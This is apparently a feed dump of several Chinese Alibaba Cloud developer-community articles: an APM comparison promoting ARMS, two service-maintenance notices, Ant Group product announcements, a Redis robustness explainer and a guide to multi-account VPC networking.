    为了更好地做到应用层面的监控,包括应用运行环境的基础设施数据,系统业务调用情况,性能消耗分析,在发生性能,异常与故障问题时,能够快速定位和解决问题,诞生了很多优秀的APM(Application Performance Management)工具。

    这些APM工具都提供了包括指标统计信息与调用链路跟踪信息。

    常见的APM工具

    APM工具包括指标收集与调用链收集。指标收集例如在某一段时间的请求数,异常数,错误数,响应时间RT, IAAS层的资源使用情况(例如cpu, memory, IO, load, 网络), 也包括JVM的各种运行参数(例如 各内存分区情况,gc情况)。调用链收集包括业务请求中访问过的各应用,类,方式,在每个运行节点/方法上的时间消耗情况。
    常见的APM工具有:
    1、ARMS:由阿里巴巴自研开发的一款APM工具。由于分布式微服务框架以阿里为主体的企业很早就开始探索,阿里集团内很早就有配套的鹰眼系统做相关的应用监控,为适应产品上云输出,阿里在2016-08-04的时间就以ARMS的产品形式正式对外提供应用监控服务。
    2、开源系的APM
    u Pinpoint:基于java编写的开源APM工具,由韩国人开发贡献,功能完善,发展快,影响了很多其它的APM工具实现,在国内外使用比较广泛。
    u Skywalking:支持open tracing标准,由我国的吴晟主导开发的分布式追踪,分析,告警的开源工具,当前是Apache旗下的开源项目,发展非常迅速,在各类开源APM工具里国内的使用比较广泛。
    u ZipKin:支持open tracing标准,由Twitter公司开发贡献,于2012年的时候就开始开源发展,是比较成熟的开源APM工具。
    u Jaeger:支持open tracing标准,由Uber公司开发贡献,是比较成熟的开源APM工具。

    APM工具原理

    尽管这些APM工具功能与实现各有不同,但基本上原理都是一样的,这个原理基于google dapper的分布式追踪技术论文,把APM工具实现总体上分为两大部分:
    1、对应用运行节点上进行应用埋点,在业务运行期间进行埋点数据的生成;

    image.png
    2、通过APM的后端服务日志收集,数据清洗与聚合,把相应的处理结果持久化,并且提供丰富的可视化控制台。
    image.png

    在这个调用链追踪技术里,还原调用链的功能主要依赖于两个ID.

    第一个ID是TraceID, 这个代表一个业务调用,就好像在电商系统里发起的一个下单结算; 在线教育里的一个选课流程; 物流系统里的揽收; 这些业务从客户触发到获得响应结果就是一个完整的请求,就是一次业务调用,它每一次的业务请求的都会获得维一的TraceID;

    第二个ID是RpcID (或者称为SpanID), 在一次业务请求中,可能经过的应用会有多过,以一个电商下单业务为例: 它需要经过订单系统创建订单; 支付系统接受支付;库存系统扣减产品库存;会员系统给买家进行积分处理; 购物车系统会清理购物清单。这样对于业务流经的每一个应用,都有一个有层次的RpcID, 这个RpcID可以认为是使用目录层级记录的,从这个RpcID来看,那怕它在同一个业务中被调用了多次,它的每一次进入的RpcID都是一样的。

    依赖于TraceID & RpcID,我们可以很方便地还原整个调用链。
    image.png

    ARMS功能上的优势:

    客观来说, 优秀的APM工具发展到现在,基础功能上的差异都不大。例如以前开源APM比较薄弱的自动埋点功能也跟进了ARMS这些先发的产品; 在异步产品如各类MQ的支持上也慢慢拉平;SQL/API参数抓取的功能方面也是补足。我们再来列一下ARMS的优点:

    1、指标数据的准确性
    ARMS的agent把指标数据与调用链数据是分开两种类型来采集统计的, 相应的指标数据不受调用链的采样率的影响,会在具体的运行节点进行完完全全的统计后,精准到上传加载到ARMS后端。(而有些优秀的APM工具是通过采样上来的调用链进行加工处理,再来产出相应的指标,这在准确性上会有一定的丢失。)
    2、线程栈捕获
    因为是JAVA自动埋点的原理是对已知的框架进行字节码加强,当某框架不在已支持的范围内,那么这段访问的信息就不会被记录下来。ARMS可以通过设定调用超过一定时长后,可以通把整个线程栈捕获下来,这样我们就可以通过线程栈的分析进行补充定位。
    3、线程分析
    ARMS可以通过线程分析页签,清淅地看到各类线程的资源占用情况。例如可以知道当前的某线程池线程数是多少, 占用cpu最多的线程是那个, 占用的百分比情况,并且可以看到线程的运行状态。
    4、业务关联日志
    ARMS这边可以通过给合传统的log4j等技术,在输出业务日志上可以把相应的TraceID 就像线程ID那样通过方便的配置就可以与业务日志同时输出。另外,ARMS与阿里云的SLS进行整合,可以通过ARMS的页面方便地根据调用链的TraceID查找到关联的业务日志,这样需要结合业务日志定位时,更方便实用。
    5、智能合并能力
    ARMS对于相同的调用,例如递当,循环会进行智能合并,显示循环的次数,执行的最大时长,最小时长,平均时长。
    image.png
    6、主动诊断能力
    ARMS提供了主动诊断能力,可以通过选定具体的时间,执行主动诊断,ARMS会分析这一段时间内的应用运行情况,自动总结这一段时间内的问题,并且结合阿里的经验,产出具体的报表。我们依据这个报表,可以加速我们的定位与优化。
    7、丰富的报警能力
    完善报警体系,ARMS提供了丰富的报警规则,我们可以对相应的规则进行开启/关停,编辑,这样可以快速搭建报警体系。在报警通道方面,可以直接发对接钉钉/WebHook/Email/短信网关等。

    运维能力上的优势

    1、 按需监控启停管理
    通过ARMS的管理控制台,我们可以批量在管理应用的启停,可以一键停止所有的ARMS监控,也可以一键启动相关应用的监控。非常符合上云的按需要使用观念。
    2、动态采样率变更
    在面对特殊的时间点或者异常出现机率的时候,我们希望动态调整采样率,例如通过调大采样率来捕获这些概率极少的调用链,借助ARMS的配置管理,我们可以非常方便地把更齐全的调用链收集起来;通过调小采样率来保证存储空间的合理使用(其它的APM工具在做采样率的变更时,需要应用的重新配置,启动,这不但处理起来麻烦,并且影响业务的边续性,在实际操作上很难下定决心去在运行期间中断业务去做改变采样率的变更。)
    3、 绑定参数的开关
    虽然很多APM工具都可以提供绑定参数的功能。但很多时候,如果对于业务数据敏感的系统,并不希望这类APM工具在非必要的时候采集SQL/API的运行参数。所以ARMS在它的配置管理里提供这么一个功能非常有意义,也就是当需要收集这些运行的业务参数进行问题定位分析的时候,那么只要打开就可以了,使用完毕后,再通过把这些开关关上,那么就可以保护我们的业务数据不外泄漏出去了。
    4、接入简易
    可通过更简易的方式如阿里容器ACK/EDAS/SAE等各种非常便捷的接入方式,只需要简单的YAML注解或按钮即可完成接入。
    5、 组件稳定免运维
    因为ARMS是商业化的产品,所以所有的组件都是不需要我们使用方运维的。如果使用开源自建,那么我们就需要对日志收集,计算清洗服务,存储产品本身进行运维,包括相应的集群规模,清理处理,扩容处理,如果在峰值过后,不进行资源回收,也会产生额外的使用浪费。

    成本使用上的优势

    1、 ARMS是按接入节点,接入的小时(时长)计费的,这样可以充分发挥云上产品的优势。按需要使用,按需要的应用节点付费。另外ARMS单纯地按照节点数来计算,并不受采样率的变动而产生变化,这样对于大采样率的应用是有一定的优势。
    2、 ARMS有相应的资源包,可以通过购买资源包的方式进一步节省费用。
    3、 因为产品的组合因素,ARMS如果搭配阿里云的容器(ACK)使用,计费会自动5折。

    最后,这里列一下开源与ARMS的一个成本的比较供大家参考:
    image.png

    备注

    1、开源的按照统一统计数据存15天,全量明细数据存3天计算(ARMS的数据是全天24小时使用,存储60天,在非容器下按年包折下来的月费用。)
    2、人力成本以具有开发能力的运维人员月薪3万计算。人力成本,主要参数变动带来的发布,后端系统的不稳定带来的效率损失,后端系统的维护操作。中大型的会做一些定制的开发(例如采样的动态配置化生效)

    综述

    在阿里云上,ARMS在APM层面提供了足够丰富的功能;可以友好地运维操作;另外通过合理地按需使用,结合资源包,以及容器的方式运行,使用起来还高效与节省。作为基础设施的实用监控,不重复发明轮子,不重人力资源投入,综合考虑各方面因素,最终选择使用ARMS。

    ]]>
    【升级】9月4日Afilias注册局维护通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【Afilias注册局维护通知】

    维护时间:北京时间 2020年9月4日 22:00 - 23:00

    维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

    维护影响:届时 .Red/.Kim/.Pro/.Asia/.Info/.Mobi/.ORG域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】9月11日消息队列AMQP升级通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【消息队列AMQP】【升级通知】

    升级窗口:北京时间2020年9月11日 00:00 - 03:00
    升级内容:华东1(杭州)、北京、深圳、上海、内蒙古、张家口、香港、青岛等全部区域(铂金版)服务升级。
    升级影响:升级期间消息队列AMQP相关服务访问可能会出现多次闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过 5 分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    权威认可!蚂蚁分布式金融核心套件bPaaS成金融核心系统的最佳实践-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 日前,由国家金融与发展实验室金融科技研究中心与神州信息共同发起,由金融科技50人论坛具体推动和落实的 “首届NIFD-DCITS全球金融科技创新案例”征集活动在“金融科技创新应用与发展”研讨会上公布成果。

    经过为期一年的征集评选,蚂蚁分布式金融核心套件bPaaS从112个来自国内外金融机构、科技企业的参选案例中脱颖而出,正式入选 “2020全球金融科技创新案例库”,并收录于《“新基建+数字金融”全球金融科技创新实践(2020)》一书中,已由中国金融出版社发行。

    0.jpg

    分布式金融核心套件bPaaS(Business Platform As a Service)是凝结了蚂蚁多年“大中台、小前台”架构实践沉淀的分布式金融核心能力,它依托蚂蚁集团的金融领域建模和微服务应用架构实践,可以帮助金融机构快速建立数字化对客服务和数字化运营能力,支撑其快速业务创新, 促进业务发展。

    以网商银行为例,作为中国第一家核心系统基于云计算架构的商业银行,网商银行基于分布式金融核心套件bPaaS的金融基础服务和基础组件,提供产品业务创新迭代所需要的整套技术服务,同时保障底层基础设施具备更高的稳定性、可用性及性能。在没有一个网点的情况下,截至目前,网商银行已为超过2000万家小微企业及个体经营者提供了金融服务。

    实际上,bPaaS的精髓就在于,以非常强大的可编排、可组合、可配置、可扩展的技术服务能力,来支撑业务的快速敏捷和灵活多变,让金融机构“复制蚂蚁的核心技术能力”成为现实。当前,bPaaS 已从对内提供服务开放给对外提供服务,将自带支付宝10余年来的技术发展和业务创新能力赋能金融机构,是分布式架构下金融核心系统的最佳实践。

    据悉,包括蚂蚁企业级分布式关系数据库OceanBase、金融级分布式架构SOFAStack、移动开发平台mPaaS和分布式金融核心套件bPaaS等在内的数十个系列、上百款产品和解决方案正通过阿里云新金融统一对外输出,服务各种类型的金融机构。未来,还会有越来越多的蚂蚁金融科技产品和解决方案通过阿里云新金融对外输出,全力助推金融客户完成数字化转型。

    ]]>
    论程序的健壮性——就看Redis-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    “众里寻他千百度,蓦然回首,那人却在,灯火阑珊处”。多年的IT生涯,一直希望自己写的程序能够有很强的健壮性,也一直希望能找到一个高可用的标杆程序去借鉴学习,不畏惧内存溢出、磁盘满了、断网、断电、机器重启等等情况。但意想不到的是,这个标杆程序竟然就是从一开始就在使用的分布式缓存——Redis。


    Redis(Remote Dictionary Server ),即远程字典服务,是 C 语言开发的一个开源的高性能键值对(key-value)的内存数据库。由于它是基于内存的所以它要比基于磁盘读写的数据库效率更快。因此Redis也就成了大家解决数据库高并发访问、分布式读写和分布式锁等首选解决方案。

    那么既然它是基于内存的,如果内存满了怎么办?程序会不会崩溃?既然它是基于内存的,如果服务器宕机了怎么办?数据是不是就丢失了?既然它是分布式的,这台Redis服务器断网了怎么办?

    今天我们就一起来看看Redis的设计者,一名来自意大利的小伙,是如何打造出一个超强健壮性和高可用性的程序,从而不惧怕这些情况。

    一、 Redis的内存管理策略——内存永不溢出

    Redis主要有两种策略机制来保障存储的key-value数据不会把内存塞满,它们是:过期策略和淘汰策略。

    1、 过期策略

    用过Redis的人都知道,我们往Redis里添加key-value的数据时,会有个选填参数——过期时间。如果设置了这个参数的值,Redis到过期时间后会自行把过期的数据给清除掉。“过期策略”指的就是Redis内部是如何实现将过期的key对应的缓存数据清除的。

    在Redis源码中有三个核心的对象结构:redisObject、redisDb和serverCron。

    • redisObject:Redis 内部使用redisObject 对象来抽象表示所有的 key-value。简单地说,redisObject就是string、hash、list、set、zset的父类。为了便于操作,Redis采用redisObject结构来统一这五种不同的数据类型。

    • redisDb:Redis是一个键值对数据库服务器,这个数据库就是用redisDb抽象表示的。redisDb结构中有很多dict字典保存了数据库中的所有键值对,这些字典就叫做键空间。如下图所示其中有个“expires”的字典就保存了设置过期时间的键值对。而Redis的过期策略也是围绕它来进行的。

    • serverCron:Redis 将serverCron作为时间事件来运行,从而确保它每隔一段时间就会自动运行一次。因此redis中所有定时执行的事件任务都在serverCron中执行。

    了解完Redis的三大核心结构后,咱们回到“过期策略”的具体实现上,其实Redis主要是靠两种机制来处理过期的数据被清除:定期过期(主动清除)和惰性过期(被动清除)。

    • 惰性过期(被动清除):就是每次访问的时候都去判断一下该key是否过期,如果过期了就删除掉。该策略就可以最大化地节省CPU资源,但是却对内存非常不友好。因为不实时过期了,原本该过期删除的就可能一直堆积在内存里面!极端情况可能出现大量的过期key没有再次被访问,从而不会被清除,占用大量内存。
    • 定期过期(主动清除):每隔一定的时间,会扫描Redis数据库的expires字典中一定数量的key,并清除其中已过期的 key。Redis默认配置会每100毫秒进行1次(redis.conf 中通过 hz 配置)过期扫描,扫描并不是遍历过期字典中的所有键,而是采用了如下方法:

    (1)从过期字典中随机取出20个键;
    (server.h文件下ACTIVE_EXPIRE_CYCLE_LOOKUPS_PER_LOOP配置20)

    (2)删除这20个键中过期的键;

    (3)如果过期键的比例超过 25% ,重复步骤 1 和 2;

    具体逻辑如下图:

    因为Redis中同时使用了惰性过期和定期过期两种过期策略,所以在不同情况下使得 CPU 和内存资源达到最优的平衡效果的同时,保证过期的数据会被及时清除掉。

    2、淘汰策略

    在Redis可能没有需要过期的数据的情况下,还是会把我们的内存都占满。比如每个key设置的过期时间都很长或不过期,一直添加就有可能把内存给塞满。那么Redis又是怎么解决这个问题的呢?——那就是“淘汰策略”。

    官网地址:https://redis.io/topics/lru-cache
    Reids官网上面列出的淘汰策略一共有8种,但从实质算法来看只有两种实现算法,分别是LRU和LFU。

    LRU(Least Recently Used):翻译过来是最久未使用,根据时间轴来走,淘汰那些距离上一次使用时间最久远的数据。
    LRU的简单原理如下图:

    从上图我们可以看出,在容器满了的情况下,距离上次读写时间最久远的E被淘汰掉了。那么数据每次读取或者插入都需要获取一下当前系统时间,以及每次淘汰的时候都需要拿当前系统时间和各个数据的最后操作时间做对比,这么干势必会增加CPU的负荷从而影响Redis的性能。Redis的设计者为了解决这一问题,做了一定的改善,整体的LRU思路如下:

    (1)、Redis里设置了一个全局变量 server.lruclock 用来存放系统当前的时间戳。这个全局变量通过serverCron 每100毫秒调用一次updateCachedTime()更新一次值。

    (2)、每当redisObject数据被读或写的时候,将当前的 server.lruclock值赋值给 redisObject 的lru属性,记录这个数据最后的lru值。

    (3)、触发淘汰策略时,随机从数据库中选择采样值配置个数key, 淘汰其中热度最低的key对应的缓存数据。

    注:热度就是拿当前的全局server.lruclock 值与各个数据的lru属性做对比,相差最久远的就是热度最低的。

    Redis中所有对象结构都有一个lru字段, 且使用了unsigned的低24位,这个字段就是用来记录对象的热度。

    LFU(Least Frequently Used):翻译成中文就是最不常用。是按着使用频次来算的,淘汰那些使用频次最低的数据。说白了就是“末尾淘汰制”!
    刚才讲过的LRU按照最久未使用虽然能达到淘汰数据释放空间的目的,但是它有一个比较大的弊端,如下图:

    如图所示A在10秒内被访问了5次,而B在10秒内被访问了3 次。因为 B 最后一次被访问的时间比A要晚,在同等的情况下,A反而先被回收。那么它就是不合理的。LFU就完美解决了LRU的这个弊端,具体原理如下:

    上图是末尾淘汰的原理示意图,仅是按次数这个维度做的末尾淘汰,但如果Redis仅按使用次数,也会有一个问题,就是某个数据之前被访问过很多次比如上万次,但后续就一直不用了,它本身按使用频次来讲是应该被淘汰的。因此Redis在实现LFU时,用两部分数据来标记这个数据:使用频率和上次访问时间。整体思路就是:有读写我就增加热度,一段时间内没有读写我就减少相应热度。

    不管是LRU还是LFU淘汰策略,Redis都是用lru这个字段实现的具体逻辑,如果配置的淘汰策略是LFU时,lru的低8位代表的是频率,高16位就是记录上次访问时间。整体的LRU思路如下:

    (1)每当数据被写或读的时候都会调用LFULogIncr(counter)方法,增加lru低8位的访问频率数值;具体每次增加的数值在redis.conf中配置默认是10(# lfu-log-factor 10)

    (2)还有另外一个配置lfu-decay-time 默认是1分钟,来控制每隔多久没人访问则热度会递减相应数值。这样就规避了一个超大访问次数的数据很久都不被淘汰的漏洞。

    小结:“过期策略” 保证过期的key对应的数据会被及时清除;“淘汰策略”保证内存满的时候会自动释放相应空间,因此Redis的内存可以自运行保证不会产生溢出异常。

    二、 Redis的数据持久化策略——宕机可立即恢复数据到内存

    有了内存不会溢出保障后,我们再来看看Redis是如何保障服务器宕机或重启,原来缓存在内存中的数据是不会丢失的。也就是Redis的持久化机制。

    Redis 的持久化策略有两种:RDB(快照全量持久化)和AOF(增量日志持久化)

    1、 RDB

    RDB 是 Redis 默认的持久化方案。RDB快照(Redis DataBase),当触发一定条件的时候,会把当前内存中的数据写入磁盘,生成一个快照文件dump.rdb。Redis重启会通过dump.rdb文件恢复数据。那那个一定的条件是啥呢?到底什么时候写入rdb 文件?

    触发Redis执行rdb的方式有两类:自动触发和手动触发
    “自动触发”的情况有三种:达到配置文件触发规则时触发、执行shutdown命令时触发、执行flushall命令时触发。

    注:在redis.conf中有个 SNAPSHOTTING配置,其中定义了触发把数据保存到磁盘触发频率。

    “手动触发”的方式有两种:执行save 或 bgsave命令。执行save命令在生成快照的时候会阻塞当前Redis服务器,Redis不能处理其他命令。如果内存中的数据比较多,会造成Redis长时间的阻塞。生产环境不建议使用这个命令。

    为了解决这个问题,Redis 提供了第二种方式bgsave命令进行数据备份,执行bgsave时,Redis会在后台异步进行快照操作,快照同时还可以响应客户端请求。

    具体操作是Redis进程执行fork(创建进程函数)操作创建子进程(copy-on-write),RDB持久化过程由子进程负责,完成后自动结束。它不会记录 fork 之后后续的命令。阻塞只发生在fork阶段,一般时间很短。手动触发的场景一般仅用在迁移数据时才会用到。

    我们知道了RDB的实现的原理逻辑,那么我们就来分析下RDB到底有什么优劣势。

    优势:

    (1)RDB是一个非常紧凑(compact类型)的文件,它保存了redis在某个时间点上的数据集。这种文件非常适合用于进行备份和灾难恢复。

    (2)生成RDB文件的时候,redis主进程会fork()一个子进程来处理所有保存工作,主进程不需要进行任何磁盘IO操作。

    (3)RDB在恢复大数据集时的速度比AOF的恢复速度要快。

    劣势:

    RDB方式数据没办法做到实时持久化/秒级持久化。在一定间隔时间做一次备份,所以如果Redis意外down掉的话,就会丢失最后一次快照之后的所有修改

    2、 AOF(Append Only File)

    AOF采用日志的形式来记录每个写操作的命令,并追加到文件中。开启后,执行更改 Redis数据的命令时,就会把命令写入到AOF文件中。Redis重启时会根据日志文件的内容把写指令从前到后执行一次以完成数据的恢复工作。

    其实AOF也不一定是完全实时的备份操作命令,在redis.conf 我们可以配置选择 AOF的执行方式,主要有三种:always、everysec和no

    AOF是追加更改命令文件,那么大家想下一直追加追加,就是会导致文件过大,那么Redis是怎么解决这个问题的呢?
    Redis解决这个问题的方法是AOF下面有个机制叫做bgrewriteaof重写机制,我们来看下它是个啥

    注:AOF文件重写并不是对原文件进行重新整理,而是直接读取服务器现有的键值对,然后用一条命令去代替之前记录这个键值对的多条命令,生成一个新的文件后去替换原来的AOF文件。

    我们知道了AOF的实现原理,我们来分析下它的优缺点。

    优点:

    能最大限度的保证数据安全,就算用默认的配置everysec,也最多只会造成1s的数据丢失。

    缺点:

    数据量比RDB要大很多,所以性能没有RDB好!

    小结:因为有了持久化机制,因此Redis即使服务器宕机或重启了,也可以最大限度的恢复数据到内存中,提供给client继续使用。

    三、Redis的哨兵模式——可战到最后一兵一卒的高可用集群

    内存满了不会挂,服务器宕机重启也没问题。足见Redis的程序健壮性已经足够强大。但Redis的设计者,在面向高可用面前,仍继续向前迈进了一步,那就是Redis的高可用集群方案——哨兵模式。

    所谓的“哨兵模式”就是有一群哨兵(Sentinel)在Redis服务器前面帮我们监控这Redis集群各个机器的运行情况,并且哨兵间相互通告通知,并指引我们使用那些健康的服务。

    Sentinel工作原理:

    1、 Sentinel 默认以每秒钟1次的频率向Redis所有服务节点发送 PING 命令。如果在down-after-milliseconds 内都没有收到有效回复,Sentinel会将该服务器标记为下线(主观下线)。

    2、 这个时候Sentinel节点会继续询问其他的Sentinel节点,确认这个节点是否下线, 如果多数 Sentinel节点都认为master下线,master才真正确认被下线(客观下线),这个时候就需要重新选举master。

    Sentinel的作用:

    1、监控:Sentinel 会不断检查主服务器和从服务器是否正常运行

    2、故障处理:如果主服务器发生故障,Sentinel可以启动故障转移过程。把某台服务器升级为主服务器,并发出通知

    3、配置管理:客户端连接到 Sentinel,获取当前的 Redis 主服务器的地址。我们不是直接去获取Redis主服务的地址,而是根据sentinel去自动获取谁是主机,即使主机发生故障后我们也不用改代码的连接!

    小结:有了“哨兵模式”只要集群中有一个Redis服务器还健康存活,哨兵就能把这个健康的Redis服务器提供给我们(如上图的1、2两步),那么我们客户端的链接就不会出错。因此,Redis集群可以战斗至最后一兵一卒。

    这就是Redis,一个“高可用、强健壮性”的标杆程序!

    作者:宜信技术学院 谭文涛

    ]]>
    阿里云多账号网络互通最佳实践-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 前言

    在企业起步阶段,规模较小,一般采用单账号模式。随着企业的发展,单账号的缺陷越来越明显,多账号相对于单账号有众多优点:
    • 多账号间的资源默认隔离,减少了单账号因为一个资源或服务问题导致其它资源和服务也出现问题的可能性;
    • 多账号减少了单帐户过于宽泛的 RAM 权限带来的风险;
    • 多账号便于成本结算、独立管理、环境隔离等。

    因此中大型企业上云时通常选择多账号,但是多账号间往往存在着大量的网络互通场景,如何解决多账号的网络互通问题呢?
    VPC 作为云上最常用的网络环境,不同账号的 VPC 之间默认是无法互通的,多账号网络互通常用的解决方案是 CEN(云企业网)和 VPN 网关。

    基于 VPN 的网络架构

    VPN 网关是一款基于 Internet 的网络连接服务,通过加密通道的方式实现企业数据中心、企业办公网络或 Internet 终端与 VPC 安全可靠的连接。VPN 网关可以实现跨地域、跨账号的 VPC 互通,在需要连接的 VPC 上创建 VPN 网关,网关之间通过基于 Internet 的 IPSec 加密隧道来传输私网数据,以实现安全可靠的多账号 VPC 间通信。

    图1.png

    图1

    如上图所示:服务分别部署在账号1、2、3的 VPC 网络环境中,每个服务基于多可用区和 SLB 实现同城双活,前端 VPC 部署前端服务,后端 VPC 部署后端应用,前端服务处理 Web 请求时需调用部署在账号2、账号 3 的后端应用,分别为每个 VPC 创建 VPN网关,VPN 之间配置 IPSEC、路由,以此来实现多账号网络互通。

    基于 CEN 的网络架构

    云企业网(Cloud Enterprise Network)是承载在阿里云提供的高性能、低延迟的私有全球网络上的一张高可用网络,可以在跨地域、跨账号的 VPC 间搭建私网通道,通过自动路由分发及学习,提高网络的快速收敛和跨网络通信的质量和安全性,实现全网资源的互通,打造一张具有企业级规模和通信能力的互联网络。

    图2.png

    图2

    如上图所示:首先创建 CEN 实例,将要互通的网络实例(专有网络和边界路由器)加载到 CEN 中,再购买一个带宽包(同 Region 无需购买带宽包),配置路由、跨账号授权等,即可实现服务在不同账号的 VPC 间互通。

    VPN 和 CEN 网络架构比较

    VPN 和 CEN 都可实现多账号网络互通,两者有何区别呢?
    • VPN 需要为每个 VPC 配置 VPN 网关,创建 IPsec 连接、配置 VPN 网关路由等,随着 VPC 数量的增加,人工配置成本成倍增加;同时 VPN 连接使用共享的公网资源进行通信,网络延时和丢包率等都无法保证,其网络带宽受限于公网 IP 的带宽。在实际使用中 VPN 网关很少用于多账号网络互通,多用于本地数据中心与 VPC 互通以构建混合云。
    • CEN 专线连接在网络质量、安全性和传输速度等方面都优于 VPN,但是 CEN 在跨账号连接时需要配置跨账号授权、路由等,存在一定的配置成本;跨 Region 通信时需要购买带宽,存在一定的费用成本;每个 CEN 实例在每个 Region 可加载的网络实例数量有限。

    由此可见,VPN 和 CEN 都能解决多账号网络互通问题,但是不一定适合所有的场景,还有其他的方案吗?

    ResourceSharing 介绍

    不同于 VPN 和 CEN,资源共享服务(ResourceSharing)通过在账号间共享 VSwitch 来实现多账号网络互通。
    如下图所示:企业账号 A、B、C、D 加入 ResourceDirectory(资源目录)后,资源所有者账号 A 把虚拟交换机共享给账号 B、C、D,这样账号 A、B、C、D 都能使用该虚拟交换机,并在该交换机上挂载 ECS/RDS/SLB 等资源,以此来实现不同账号的资源共享同一个子网。

    图3.png

    图3

    相对于 CEN 和 VPN,ResourceSharing 极大地简化了配置,在网络规模较复杂的场景下尤为明显。

    基于 ResourceSharing 的网络架构

    如下图所示为基于 ResourceSharing 的网络架构:账号 1 所在的 VPC 使用两个 VSwitch 作为多可用区以实现同城双活,用于部署前端服务;再共享三个 VSwitch 给账号 2 和账号 3 用于部署后端服务:“Shared VSwitch For AZ1 ECS” 用于挂截账号 2 和账号 3 在 AZ1 的 ECS 资源,“Shared VSwitch For AZ2 ECS” 用于挂截账号 2 和账号 3 在 AZ2 的 ECS 资源,“Shared VSwitch For SLB” 用于挂截账号 2 和账号 3 的 SLB 资源;这样基于资源共享的方式,前端服务与后端服务均在同一个 VPC 下,所有服务天然支持网络互通。

    图4.png

    图4

    由于每个账号仍然独立管控自己的资源,所以服务之间既实现了多账号间网络互通,又保证了相关资源在账号间的隔离,此外,相对于 CEN 和 VPN,ResourceSharing 有一定的优势:
    • 整个体系在一个 VPC 中,因此不需要网关、路由、IPSEC、跨账号授权等相关配置,极大地简化了工作量。
    • 服务在 VPC 内部通信,不依赖公网带宽,减少了网络延时和丢包率带来的风险。
    • ResourceSharing 是完全免费的,能为用户节省不少成本。

    总结

    ResourceSharing 有众多优势,是否能取代 VPN 和 CEN 满足所有的应用场景呢?
    • 由于 VPC 是地域级别的资源,因此 ResourceSharing 是不能跨 Region 共享 VSwitch 的,而 CEN 则没有这个限制,所以跨 Region 间 VPC 通信时通常选择 CEN 的方式。如下图所示 Region A 和 Region B 的 VPC 通过 CEN 互通。
    • 当用户需要将本地数据中心与 VPC 互通以构建混合云时,ResourceSharing 显然无法满足需求。如下图所示通过 VPN 的方式将本地数据中心与安全登陆 VPC 快速连接起来。
    • 当企业对安全有更高要求时,往往需要通过 VPC 将网络划分成多个安全域,ResourceSharing 由于共享 VSwitch 所在的实例都在同一个 VPC,无法满足需求。如下图所示:根据安全级别的不同,将整个网络分隔成多个 VPC,通过 CEN 实现不同安全域 VPC 的网络互通,利用 ResourceSharing 实现多账号同安全域 VPC 的网络互通。

    图5.jpeg

    图5

    VPN 网关、CEN 和 ResourceSharing 分别适用于不同的场景,如上图所示为集团化的大型企业,网络架构较为复杂,同时用到了三种方案,用户在实际使用时,需要根据自己的需求和网络规模选择最合适的方案。

    ]]>
    来了!2020云栖大会:蚂蚁金融科技产品能力再升级-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 当前,全球正在经历一场数字化变革,给各行各业带来了前所未有的影响。尤其在金融行业,以云计算、大数据以及移动互联网等为代表的科技已经开始广泛的运用到金融服务各个领域中,传统金融行业迎来了技术全面赋能的未来金融时代,金融科技正在为金融行业的业务场景创新与技术应用创新提供助力。

    但科技与金融的融合并非一蹴而就,金融行业的数字化转型客观上还面临着如何快速搭建线上业务,如何利用互联网获客、扩大业务规模和覆盖范围,如何基于互联网用户群体的特性开发新的产品等诸多问题。

    对于传统的金融机构而言,该如何构建深度融合的技术创新体系,更好推动数字化转型?在9月17日下午13点云栖大会数字金融源动力专场分论坛中,蚂蚁金融科技将发布“三驾马车”企业级分布式关系数据库OceanBase、移动开发平台mPaaS和金融级分布式架构SOFAStack的全新能力。

    OceanBase 2.2 版本和全新一体机产品发布

    OceanBase是蚂蚁集团完全自研的企业级分布式关系数据库,作为底层的基础设施,在为金融客户持续提供安全稳定的服务的同时,能够承载上层千变万化的业务需求和各种不同的使用场景。

    据了解,OceanBase已服务大量金融、电信等行业企业,在南京银行、西安银行、天津银行、苏州银行、东莞银行、常熟农商行、广东农信、中国人保、招商证券、浙江移动等多家银行、保险、证券及运营商机构上线。

    此次云栖大会,OceanBase聚焦客户需求,将发布完整的平台能力,混合负载引擎,多种容灾方式,以及全新的OceanBase一体机。

    mPaaS:全新视频云营业厅方案发布

    作为国内领先的移动开发平台,mPaaS能够为金融服务机构提供移动开发、测试、发布、分析、智能化运营各个方面的云到端的一体化解决方案,并将在本次云栖大会中推出全新的视频云营业厅解决方案,包括视频柜员、智能远程定损理赔、金融直播、智能双录等新的业务构想。

    mPaaS已经服务了中国农业银行、广发银行,华夏银行,西安银行、国寿保险等众多B端客户,助力企业在数字时代赢得先机。例如,常熟农商银行引入mPaaS打造新一代移动金融中心,大幅提升App启动速度,有效降低闪退率和崩溃率,用户服务质量显著提升。而视频云营业厅的推出,则将金融行业更多业务场景搬到了“云上”,构建起了广域办事通道,将业务半径限制彻底“松绑”,极大改善了业务办理效率和用户体验,为企业的“全渠道数字化运营”提供了坚强后盾。

    SOFAStack:金融级应用PaaS - 高可用管理解决方案发布

    蚂蚁金融级分布式架构SOFAStack,能够提供从服务构建、应用开发、部署发布、服务治理、监控运维、容灾高可用等全生命周期、全栈式解决方案,不仅支撑着蚂蚁的丰富复杂业务,而且已全面对外开放,其中包括中国人保、南京银行、浙商证券、上海华瑞银行、四川农信银行等数十家金融机构。

    其中,作为首期国家发改委的数字化转型伙伴行动的金融机构,四川农信借助阿里金融云平台、蚂蚁金融级分布式架构SOFAStack、mPaaS技术框架、数据中台等技术支撑,推动其IT架构由集中式向分布式的架构转型。

